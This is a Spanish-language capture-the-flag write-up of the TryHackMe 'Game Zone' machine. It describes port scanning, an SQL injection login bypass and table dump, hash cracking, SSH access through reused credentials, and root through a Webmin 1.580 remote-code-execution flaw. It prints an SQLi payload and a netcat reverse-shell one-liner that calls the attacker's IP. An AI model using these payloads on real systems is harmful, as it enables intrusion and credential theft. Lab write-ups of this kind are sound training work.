Game Zone - TryHackMe
SUMMARY
Debemos encontrar dos banderas en la maquina Game Zone
. Donde a partir del escaneo de puertos de Nmap
pude saber que hay un servicio HTTP
y SSH
. Además, con un script de Nmap supe que hay una página web almacenada en el servidor web. Además, esta página web viene a formar parte de un sitio web, que es vulnerable a SQLi Blind
y SQLi basada en errores
que me permitió omitir la autenticación de un formulario y volcar los registros de una columna de una de las tablas de una base de datos que consultaba el sitio web. Llegando a encontrar unas credenciales en forma de hash que logre crackear usando John the Ripper
, y utilizándolo para acceder al sistema destino mediante el servicio SSH. Luego, implemente un Tunel SSH
para poder acceder al servicio Webmin
, que se estaba ejecutando en el sistema destino, a través de mi navegador web. Luego, aprovechando la vulnerabilidad RCE
que presentaba el servicio Webmin en su versión 1.580, realice una escalada de privilegios vertical mediante una reverse Shell con los privilegios del usuario root.
FASE RECONOCIMIENTO
Para resolver este ejercicio empezaremos utilizando el comando openvpn
con el fin de establecer una conexion VPN con la red virtual donde esta la maquina Game Zone
. Para ello utilizaremos el archivo de configuracion, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir informacion como la direccion del servidor VPN, los certificados y claves de seguridad, la configuracion de encriptacion, etc.
Luego de que se establece la conexion VPN se crea una interfaz virtual de red en nuestra maquina. Donde se enruta todo el trafico de red a traves de esa interfaz.
Ademas, la plataforma de Tryhackme nos muestra la direccion ip de la maquina Game Zone
.
FASE ESCANEO Y ENUMERACION
Luego pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del nodo. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo de la máquina Game Zone
. Para ello utilizaremos Nmap
. Donde le pasaremos los siguientes parámetros:
- El parámetro -sC o –script=”default” para utilizar todos los scripts de la categoría default con el fin de realizar un escaneo y detección de los puertos de manera avanzada.
- El parámetro -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos.
- El parámetro -n para evitar la resolución DNS, y el parámetro –max-rate para indicarle el número máximo de paquetes por segundo que va a utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el tráfico generado por la herramienta.
- El parámetro -p- para realizar un escaneo de los 65535 puertos del nodo y el parámetro –open con el fin de que nos muestre información solo de los puertos abiertos.
Los resultados que obtuvimos del escaneo vienen a ser:
- Hay un servicio HTTP que se está levantado en el puerto 80, y el programa servidor HTTP que se está corriendo. Además, la versión del programa servidor HTTP.
- A partir del script http-tittle.nse de Nmap llegamos a saber que hay una página web que se aloja en el servidor web, y cuya etiqueta title es Game Zone.
- Hay un servicio SSH, que esta levantado en el puerto 22, y el programa servidor SSH que se está corriendo. Además, la versión del programa servidor SSH.
Ahora, observamos la pagina web desde mi navegador web.
Podemos observar que la pagina web consta de un formulario o login.
FASE EXPLOTACION O GANAR ACCESO O HACKING
Ahora podremos a prueba si la pagina web presenta la vulnerabilidad SQLi blind introduciendo ‘ or 1=1;– - como valor en el campo Log in del formulario o login.
Podemos observar que el sitio web presenta la vulnerabilidad SQLi Blind que nos permitió omitir la autenticación, logrando acceder a un portal de búsqueda. Donde podemos buscar juegos con el fin de obtener una crítica o reseña sobre ellos.
Además, para que la página web pueda mostrar las reseñas o criticas sobre los juegos va a tener que realizar consultas SQL a su base de datos.
Ahora pondremos a prueba si el sitio web presenta la vulnerabilidad SQLi basada en errores. Para ello introduciremos un carácter como ‘ o “ con el fin de poder obtener un error emitido por el RDBMS, ejecutado en el servidor de base de datos.
Podemos observar que el sitio web si es vulnerable a SQLi basada en errores ya que si llegamos a obtener un mensaje de error emitido por el RDBMS. Donde podemos saber que el RDBMS ejecutado en el servidor de basen de datos viene a ser un MySQL.
Ahora enumeraremos las bases de datos administradas y gestionadas por el RDBMS en el servidor de base de datos.
Podemos observar las bases de datos information_schema, mysql, perfomance_schema, que se crean de manera predeterminada al momento de instalar el RDBMS MySQL en el sistema. Además, podemos observar la base de datos db.
Ahora enumeraremos las tablas de la base de datos db.
Podemos observar que la base de datos presenta las tablas users y post.
Ahora enumeraremos las columnas de la tabla users.
Podemos observar que la tabla users presenta las columnas username, pwd, current_connections, y total_connections.
Ahora volcaremos los registros de las columnas username y pwd.
Podemos observar un username asociado con su contraseña en forma de hash, y que viene a ser credenciales de inicio de sesión para acceder al portal de búsqueda del sitio web.
Ahora utilizaremos hash-idenitifier para poder identificar el algoritmo o función de hash que se ha utilizado en la contraseña.
Podemos observar que la herramienta nos indica que el algoritmo hash más probable es SHA-256.
Ahora teniendo en cuenta que el algoritmo hash es SHA-256 utilizaremos John the Ripper para crackear el hash.
Podemos observar que John the Ripper llego a crackear el hash y obtuvimos la contraseña asociada con el username agent47.
Ahora utilizaremos estas credenciales de inicio de sesión para acceder al sistema destino mediante el servicio SSH. Además, con esto se comprobará si el administrador del sitio web ha reutilizado sus credenciales en otros servicios.
Podemos observar que llegamos acceder al sistema destino mediante el servicio SSH y la vulnerabilidad de Reutilización de credenciales.
FASE ESCALADA DE PRIVILEGIOS
Ahora debemos buscar vectores de escalada de privilegios que nos permite ser un usuario con privilegios mas elevados. Para ello realizaremos una enumeración manual sobre los directorios y archivos del sistema objetivo.
Podemos observar que en el directorio raíz del sitio web llegamos a encontrar un archivo index php que contiene las credenciales de inicio de sesión de un usuario para acceder al servidor de base de datos.
Ahora enumeraremos las conexiones de red del sistema destino.
Podemos observar que el RDBMS MySQL se esta ejecutando en el mismo sistema destino y solo esta aceptando conexiones provenientes de la interfaz de bucle local, que tiene asociada la dirección IP 127.0.0.1. Por lo tanto, solo aceptara conexiones provenientes del mismo sistema destino. Además, está utilizando el número de puerto 3306(por defecto) para escuchar las conexiones entrantes y la transmisión de sus datos.
Además, podemos observar que el servicio SSH que se está ejecutando en el sistema destino, y está aceptando conexiones entrantes provenientes de cualquiera de las interfaces de red del sistema destino ya que se especifica la dirección IP 0.0.0.0. Por esta razón es que estando en la misma subred es que podemos establecer conexión con el servicio SSH del sistema destino. Además, está utilizando el puerto 22(por defecto) para escuchar las conexiones entrantes y la transmisión de sus datos.
Además, podemos observar hay un servicio desconocido que se está ejecutando en el sistema destino, y está aceptando conexiones entrantes provenientes de cualquiera de las interfaces de red del sistema destino ya que tiene asociada la dirección IP 0.0.0.0. Además, está utilizando el puerto 1000 para escuchar las conexiones entrantes y la transmisión de sus datos. Pero a pesar de que estamos en la misma subred que el sistema destino, Nmap no pudo escanearlo. Por esta razón podemos deducir que hay una regla configurada en el Firewall del sistema destino, que esta filtrando las conexiones entrantes hacia el puerto del servicio.
Ahora para poder establecer conexiones con el servicio desconocido y evitar el Firewall, implementaremos un tunel SSH para redirigir todo el tráfico, generado por las solicitudes que realizare al servicio, desde un puerto de mi sistema hacia el puerto, que está utilizando el servicio en el sistema destino. Además, todo este tráfico se va a transmitir de manera cifrada.
Ahora que hemos implementado el tunel SSH, podemos acceder al servicio desconocido desde mi navegador web y como si se tratase de un servicio que se está ejecutando en mi sistema.
Podemos observar que el servicio se trata de Webmin. Además, presenta un formulario o login que utilizando las mismas credenciales anteriormente podemos acceder a su portal de administración. Donde podemos realizar diversas tareas de administración de manera remota, como la configuración del sistema, administración de servicios, monitoreo de recursos, gestión de usuarios y grupos, programación de tareas, configuración de seguridad, entre otras.
Ahora buscaremos en Internet vulnerabilidades que presenta el servicio Webmin en su versión 1.580.
Podemos observar documentación sobre la vulnerabilidad RCE que presenta el servicio Webmin en su versión 1.580 debido a su componente /file/show.cgi. Además, los comandos, que podemos ejecutar mediante esta vulnerabilidad, son con los privilegios del usuario root.
Ahora aprovechando esta vulnerabilidad ejecutaremos el comando mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.8.123.194 1500 >/tmp/f
en el sistema destino con el fin de que nos genere una reverse Shell, pero antes habilitaremos el puerto 1500 en nuestro sistema para que este escuchando la conexión entrante de la reverse Shell.
Ahora buscaremos las dos banderas contenidas en los archivos root.txt y user.txt. Para localizar los archivos utilizaremos el comando find para buscar desde el directorio /, archivos con sus nombres.